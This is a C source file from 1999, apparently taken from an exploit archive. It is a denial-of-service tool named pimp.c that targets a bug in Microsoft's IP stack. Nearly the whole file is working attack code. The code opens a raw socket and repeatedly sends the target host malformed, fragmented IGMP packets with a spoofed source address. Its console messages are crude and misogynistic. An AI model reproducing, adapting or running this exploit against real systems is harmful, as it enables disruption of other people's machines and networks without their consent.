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pimp.c
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C/C++ Source or Header
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2005-02-12
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3KB
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124 lines
/*
** pimp.c 6/4/99 by Rob Mosher: nyt@deadpig.org
** exploits bug in m$'s ip stack
** rewrite by nyt@EFnet
** bug found by klepto
** usage: pimp <host>
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <sys/socket.h>
struct igmp
{
unsigned char igmp_type;
unsigned char igmp_code;
unsigned short igmp_cksum;
struct in_addr igmp_group;
};
#define ERROR(a) {printf("ERROR: %s\n", a);exit(-1);}
u_long resolve(char *);
int main(int argc, char *argv[])
{
int nsock, ctr;
char *pkt, *data;
struct ip *nip;
struct igmp *nigmp;
struct sockaddr_in s_addr_in;
setvbuf(stdout, NULL, _IONBF, 0);
printf("pimp.c by nyt\n");
if(argc != 2)
ERROR("usage: pimp <host>");
if((nsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
ERROR("could not create raw socket");
pkt = malloc(1500);
if(!pkt)
ERROR("could not allocate memory");
memset(&s_addr_in, 0, sizeof(s_addr_in));
memset(pkt, 0, 1500);
nip = (struct ip *) pkt;
nigmp = (struct igmp *) (pkt + sizeof(struct ip));
data = (char *)(pkt + sizeof(struct ip) + sizeof(struct igmp));
memset(data, 'A', 1500-(sizeof(struct ip) + sizeof(struct igmp)));
s_addr_in.sin_addr.s_addr = resolve(argv[1]);
nip->ip_v = 4;
nip->ip_hl = 5;
nip->ip_tos = 0;
nip->ip_id = 69;
nip->ip_ttl = 255;
nip->ip_p = IPPROTO_IGMP;
nip->ip_sum = 0;
nip->ip_dst.s_addr = s_addr_in.sin_addr.s_addr;
nip->ip_src.s_addr = 2147100000;
nigmp->igmp_type = 2;
nigmp->igmp_code = 31;
nigmp->igmp_cksum = 0;
inet_aton("128.1.1.1", &nigmp->igmp_group);
printf("pimpin' dem trick-ass-bitches");
for(ctr = 0;ctr < 15;ctr++)
{
printf(".");
nip->ip_len = 1500;
nip->ip_off = htons(IP_MF);
sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));
nip->ip_off = htons(1480/8)|htons(IP_MF);
sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));
nip->ip_off = htons(5920/8)|htons(IP_MF);
sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));
nip->ip_len = 831;
nip->ip_off = htons(7400/8);
sendto(nsock, pkt, 831, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));
usleep(500000);
}
printf("*slap* *slap* bitch, who yo daddy\n");
shutdown(nsock, 2);
close(nsock);
}
u_long resolve(char *host)
{
struct hostent *he;
u_long ret;
if(!(he = gethostbyname(host)))
{
herror("gethostbyname()");
exit(-1);
}
memcpy(&ret, he->h_addr, sizeof(he->h_addr));
return ret;
}